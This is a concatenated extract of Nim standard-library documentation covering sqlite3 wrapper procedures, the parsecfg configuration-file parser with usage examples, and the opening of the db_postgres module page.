[Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L263) ``` proc column_double(para1: PStmt; iCol: int32): float64 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_double".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L265) ``` proc column_int(para1: PStmt; iCol: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_int".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L267) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L267) ``` proc column_int64(para1: PStmt; iCol: int32): int64 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_int64".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L269) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L269) ``` proc column_text(para1: PStmt; iCol: int32): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_text".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L271) ``` proc column_text16(para1: PStmt; iCol: int32): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_text16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L273) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L273) ``` proc column_type(para1: PStmt; iCol: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_column_type".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L275) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L275) ``` proc finalize(PStmt: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_finalize".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L277) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L277) ``` proc reset(PStmt: PStmt): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_reset".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L279) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L279) ``` proc create_function(para1: PSqlite3; zFunctionName: cstring; nArg: int32; eTextRep: int32; para5: pointer; xFunc: Create_function_func_func; xStep: Create_function_step_func; xFinal: Create_function_final_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_create_function".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L280) ``` proc create_function16(para1: PSqlite3; zFunctionName: pointer; nArg: int32; eTextRep: int32; para5: pointer; xFunc: Create_function_func_func; xStep: Create_function_step_func; xFinal: Create_function_final_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_create_function16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L286) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L286) ``` proc aggregate_count(para1: Pcontext): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_aggregate_count".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L292) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L292) ``` proc value_blob(para1: PValue): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_blob".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L294) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L294) ``` proc value_bytes(para1: PValue): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_bytes".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L296) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L296) ``` proc value_bytes16(para1: PValue): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_bytes16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L298) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L298) ``` proc value_double(para1: PValue): float64 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_double".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L300) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L300) ``` proc value_int(para1: PValue): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_int".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L302) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L302) ``` proc value_int64(para1: PValue): int64 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_int64".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L304) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L304) ``` proc value_text(para1: PValue): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_text".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L306) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L306) ``` proc value_text16(para1: PValue): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_text16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L308) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L308) ``` proc value_text16le(para1: PValue): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_text16le".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L310) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L310) ``` proc value_text16be(para1: PValue): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_text16be".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L312) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L312) ``` proc value_type(para1: PValue): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_value_type".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L314) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L314) ``` proc aggregate_context(para1: Pcontext; nBytes: int32): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_aggregate_context".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L316) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L316) ``` proc user_data(para1: Pcontext): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_user_data".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L318) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L318) ``` proc get_auxdata(para1: Pcontext; para2: int32): pointer {...}{.cdecl, dynlib: Lib, importc: "sqlite3_get_auxdata".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L320) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L320) ``` proc set_auxdata(para1: Pcontext; para2: int32; para3: pointer; para4: proc (para1: pointer) {...}{.cdecl.}) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_set_auxdata".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L322) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L322) ``` proc result_blob(para1: Pcontext; para2: pointer; para3: int32; para4: Result_func) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_blob".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L325) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L325) ``` proc result_double(para1: Pcontext; para2: float64) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_double".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L328) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L328) ``` proc result_error(para1: Pcontext; para2: cstring; para3: int32) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_error".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L330) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L330) ``` proc result_error16(para1: Pcontext; para2: pointer; para3: int32) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_error16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L332) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L332) ``` proc result_int(para1: Pcontext; para2: int32) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_int".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L334) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L334) ``` proc result_int64(para1: Pcontext; para2: int64) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_int64".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L336) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L336) ``` proc result_null(para1: Pcontext) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_null".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L338) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L338) ``` proc result_text(para1: Pcontext; para2: cstring; para3: int32; para4: Result_func) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_text".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L340) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L340) ``` proc result_text16(para1: Pcontext; para2: pointer; para3: int32; para4: Result_func) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_text16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L343) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L343) ``` proc result_text16le(para1: Pcontext; para2: pointer; para3: int32; para4: Result_func) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_text16le".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L346) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L346) ``` proc result_text16be(para1: Pcontext; para2: pointer; para3: int32; para4: Result_func) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_text16be".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L349) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L349) ``` proc result_value(para1: Pcontext; para2: PValue) {...}{.cdecl, dynlib: Lib, importc: "sqlite3_result_value".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L352) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L352) ``` proc create_collation(para1: PSqlite3; zName: cstring; eTextRep: int32; para4: pointer; xCompare: Create_collation_func): int32 {...}{. cdecl, dynlib: Lib, importc: "sqlite3_create_collation".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L354) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L354) ``` proc create_collation16(para1: PSqlite3; zName: cstring; eTextRep: int32; para4: pointer; xCompare: Create_collation_func): int32 {...}{. cdecl, dynlib: Lib, importc: "sqlite3_create_collation16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L357) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L357) ``` proc collation_needed(para1: PSqlite3; para2: pointer; para3: Collation_needed_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_collation_needed".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L360) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L360) ``` proc collation_needed16(para1: PSqlite3; para2: pointer; para3: Collation_needed_func): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_collation_needed16".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L362) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L362) ``` proc libversion(): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_libversion".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L364) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L364) ``` proc version(): cstring {...}{.cdecl, dynlib: Lib, importc: "sqlite3_libversion".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L366) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L366) ``` proc libversion_number(): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_libversion_number".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L368) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L368) ``` proc backup_init(pDest: PSqlite3; zDestName: cstring; pSource: PSqlite3; zSourceName: cstring): PSqlite3_Backup {...}{.cdecl, dynlib: Lib, importc: "sqlite3_backup_init".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L371) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L371) ``` proc backup_step(pBackup: PSqlite3_Backup; nPage: int32): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_backup_step".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L374) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L374) ``` proc backup_finish(pBackup: PSqlite3_Backup): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_backup_finish".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L376) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L376) ``` proc backup_pagecount(pBackup: PSqlite3_Backup): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_backup_pagecount".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L378) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L378) ``` proc backup_remaining(pBackup: PSqlite3_Backup): int32 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_backup_remaining".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L380) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L380) ``` proc sqlite3_sleep(t: int64): int64 {...}{.cdecl, dynlib: Lib, importc: "sqlite3_sleep".} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/wrappers/sqlite3.nim#L382) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/wrappers/sqlite3.nim#L382)
programming_docs
nim parsecfg parsecfg ======== The `parsecfg` module implements a high performance configuration file parser. The configuration file's syntax is similar to the Windows `.ini` format, but much more powerful, as it is not a line based parser. String literals, raw string literals and triple quoted string literals are supported as in the Nim programming language. Example of how a configuration file may look like: ``` # This is a comment. ; this too. [Common] cc=gcc # '=' and ':' are the same --foo="bar" # '--cc' and 'cc' are the same, 'bar' and '"bar"' are the same (except for '#') macrosym: "#" # Note that '#' is interpreted as a comment without the quotation --verbose [Windows] isConsoleApplication=False ; another comment [Posix] isConsoleApplication=True key1: "in this string backslash escapes are interpreted\n" key2: r"in this string not" key3: """triple quotes strings are also supported. They may span multiple lines.""" --"long option with spaces": r"c:\myfiles\test.txt" ``` Here is an example of how to use the configuration file parser: ``` import os, parsecfg, strutils, streams var f = newFileStream(paramStr(1), fmRead) if f != nil: var p: CfgParser open(p, f, paramStr(1)) while true: var e = next(p) case e.kind of cfgEof: break of cfgSectionStart: ## a ``[section]`` has been parsed echo("new section: " & e.section) of cfgKeyValuePair: echo("key-value-pair: " & e.key & ": " & e.value) of cfgOption: echo("command: " & e.key & ": " & e.value) of cfgError: echo(e.msg) close(p) else: echo("cannot open: " & paramStr(1)) ``` Examples -------- ### Configuration file example ``` charset = "utf-8" [Package] name = "hello" --threads:on [Author] name = "lihf8515" qq = "10214028" email = "[email protected]" ``` ### Creating a configuration file ``` import parsecfg var dict=newConfig() dict.setSectionKey("","charset","utf-8") dict.setSectionKey("Package","name","hello") dict.setSectionKey("Package","--threads","on") dict.setSectionKey("Author","name","lihf8515") dict.setSectionKey("Author","qq","10214028") dict.setSectionKey("Author","email","[email protected]") dict.writeConfig("config.ini") ``` ### Reading a configuration file ``` import parsecfg var dict = loadConfig("config.ini") var charset = dict.getSectionValue("","charset") var threads = dict.getSectionValue("Package","--threads") var pname = dict.getSectionValue("Package","name") var name = dict.getSectionValue("Author","name") var qq = dict.getSectionValue("Author","qq") var email = dict.getSectionValue("Author","email") echo pname & "\n" & name & "\n" & qq & "\n" & email ``` ### Modifying a configuration file ``` import parsecfg var dict = loadConfig("config.ini") dict.setSectionKey("Author","name","lhf") dict.writeConfig("config.ini") ``` ### Deleting a section key in a configuration file ``` import parsecfg var dict = loadConfig("config.ini") dict.delSectionKey("Author","email") dict.writeConfig("config.ini") ``` Imports ------- <strutils>, <lexbase>, <streams>, <tables> Types ----- ``` CfgEventKind = enum cfgEof, ## end of file reached cfgSectionStart, ## a ``[section]`` has been parsed cfgKeyValuePair, ## a ``key=value`` pair has been detected cfgOption, ## a ``--key=value`` command line option cfgError ## an error occurred during parsing ``` enumeration of all events that may occur when parsing [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L117) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L117) ``` CfgEvent = object of RootObj case kind*: CfgEventKind ## the kind of the event of cfgEof: nil of cfgSectionStart: section*: string ## `section` contains the name of the ## parsed section start (syntax: ``[section]``) of cfgKeyValuePair, cfgOption: key*, value*: string ## contains the (key, value) pair if an option ## of the form ``--key: value`` or an ordinary ## ``key= value`` pair has been parsed. ## ``value==""`` if it was not specified in the ## configuration file. of cfgError: ## the parser encountered an error: `msg` msg*: string ## contains the error message. No exceptions ## are thrown if a parse error occurs. ``` describes a parsing event [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L124) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L124) ``` CfgParser = object of BaseLexer tok: Token filename: string ``` the parser object. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L147) ``` Config = OrderedTableRef[string, OrderedTableRef[string, string]] ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L442) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L442) Procs ----- ``` proc open(c: var CfgParser; input: Stream; filename: string; lineOffset = 0) {...}{. gcsafe, extern: "npc$1", raises: [IOError, OSError, Exception], tags: [ReadIOEffect, RootEffect].} ``` initializes the parser with an input stream. `Filename` is only used for nice error messages. `lineOffset` can be used to influence the line number information in the generated error messages. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L158) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L158) ``` proc close(c: var CfgParser) {...}{.gcsafe, extern: "npc$1", raises: [Exception, IOError, OSError], tags: [WriteIOEffect].} ``` closes the parser `c` and its associated input stream. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L170) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L170) ``` proc getColumn(c: CfgParser): int {...}{.gcsafe, extern: "npc$1", raises: [], tags: [].} ``` get the current column the parser has arrived at. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L174) ``` proc getLine(c: CfgParser): int {...}{.gcsafe, extern: "npc$1", raises: [], tags: [].} ``` get the current line the parser has arrived at. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L178) ``` proc getFilename(c: CfgParser): string {...}{.gcsafe, extern: "npc$1", raises: [], tags: [].} ``` get the filename of the file that the parser processes. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L182) ``` proc errorStr(c: CfgParser; msg: string): string {...}{.gcsafe, extern: "npc$1", raises: [ValueError], tags: [].} ``` returns a properly formatted error message containing current line and column information. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L369) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L369) ``` proc warningStr(c: CfgParser; msg: string): string {...}{.gcsafe, extern: "npc$1", raises: [ValueError], tags: [].} ``` returns a properly formatted warning message containing current line and column information. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L375) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L375) ``` proc ignoreMsg(c: CfgParser; e: CfgEvent): string {...}{.gcsafe, extern: "npc$1", raises: [ValueError], tags: [].} ``` returns a properly formatted warning message containing that an entry is ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L381) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L381) ``` proc next(c: var CfgParser): CfgEvent {...}{.gcsafe, extern: "npc$1", raises: [IOError, OSError, ValueError], tags: [ReadIOEffect].} ``` retrieves the first/next event. This controls the parser. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L412) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L412) ``` proc newConfig(): Config {...}{.raises: [], tags: [].} ``` Create a new configuration table. Useful when wanting to create a configuration file. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L444) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L444) ``` proc loadConfig(stream: Stream; filename: string = "[stream]"): Config {...}{. raises: [IOError, OSError, Exception, ValueError, KeyError], tags: [ReadIOEffect, RootEffect, WriteIOEffect].} ``` Load the specified configuration from stream into a new Config instance. `filename` parameter is only used for nicer error messages. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L449) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L449) ``` proc loadConfig(filename: string): Config {...}{. raises: [IOError, Exception, OSError, ValueError, KeyError], tags: [WriteIOEffect, ReadIOEffect, RootEffect].} ``` Load the specified configuration file into a new Config instance. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L482) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L482) ``` proc writeConfig(dict: Config; stream: Stream) {...}{.raises: [IOError, OSError], tags: [WriteIOEffect].} ``` Writes the contents of the table to the specified stream **Note:** Comment statement will be ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L507) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L507) ``` proc `$`(dict: Config): string {...}{.raises: [Exception, IOError, OSError], tags: [WriteIOEffect].} ``` Writes the contents of the table to string. Note: Comment statement will be ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L547) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L547) ``` proc writeConfig(dict: Config; filename: string) {...}{.raises: [IOError, OSError], tags: [WriteIOEffect].} ``` Writes the contents of the table to the specified configuration file. Note: Comment statement will be ignored. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L555) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L555) ``` proc getSectionValue(dict: Config; section, key: string; defaultVal = ""): string {...}{. raises: [KeyError], tags: [].} ``` Gets the key value of the specified Section. Returns the specified default value if the specified key does not exist. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L563) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L563) ``` proc setSectionKey(dict: var Config; section, key, value: string) {...}{. raises: [KeyError], tags: [].} ``` Sets the Key value of the specified Section. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L574) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L574) ``` proc delSection(dict: var Config; section: string) {...}{.raises: [], tags: [].} ``` Deletes the specified section and all of its sub keys. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L582) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L582) ``` proc delSectionKey(dict: var Config; section, key: string) {...}{.raises: [KeyError], tags: [].} ``` Delete the key of the specified section. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/pure/parsecfg.nim#L586) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/pure/parsecfg.nim#L586) nim db_postgres db\_postgres ============ A higher level PostgreSQL database wrapper. This interface is implemented for other databases also. See also: <db_odbc>, <db_sqlite>, <db_mysql>. Parameter substitution ---------------------- All `db_*` modules support the same form of parameter substitution. That is, using the `?` (question mark) to signify the place where a value should be placed. For example: ``` sql"INSERT INTO myTable (colA, colB, colC) VALUES (?, ?, ?)" ``` **Note**: There are two approaches to parameter substitution support by this module. 1. `SqlQuery` using `?, ?, ?, ...` (same as all the `db_*` modules) 2. `SqlPrepared` using `$1, $2, $3, ...` ``` prepare(db, "myExampleInsert", sql"""INSERT INTO myTable (colA, colB, colC) VALUES ($1, $2, $3)""", 3) ``` Unix Socket ----------- Using Unix sockets instead of TCP connection can [improve performance up to 30% ~ 175% for some operations](https://momjian.us/main/blogs/pgblog/2012.html#June_6_2012). To use Unix sockets with `db_postgres`, change the server address to the socket file path: ``` import db_postgres ## Change "localhost" or "127.0.0.1" to the socket file path let db = db_postgres.open("/run/postgresql", "user", "password", "database") echo db.getAllRows(sql"SELECT version();") db.close() ``` The socket file path is operating system specific and distribution specific, additional configuration may or may not be needed on your `postgresql.conf`. The Postgres server must be on the same computer and only works for Unix-like operating systems. Examples -------- ### Opening a connection to a database ``` import db_postgres let db = open("localhost", "user", "password", "dbname") db.close() ``` ### Creating a table ``` db.exec(sql"DROP TABLE IF EXISTS myTable") db.exec(sql("""CREATE TABLE myTable ( id integer, name varchar(50) not null)""")) ``` ### Inserting data ``` db.exec(sql"INSERT INTO myTable (id, name) VALUES (0, ?)", "Dominik") ``` Imports ------- <strutils>, <postgres>, <db_common>, <since> Types ----- ``` DbConn = PPGconn ``` encapsulates a database connection [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L94) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L94) ``` Row = seq[string] ``` a row of a dataset. NULL database values will be converted to nil. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/impure/db_postgres.nim#L95) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/impure/db_postgres.nim#L95) ``` InstantRow = object res: PPGresult ## used to get a row's line: int ## column text on demand ``` a handle that can be 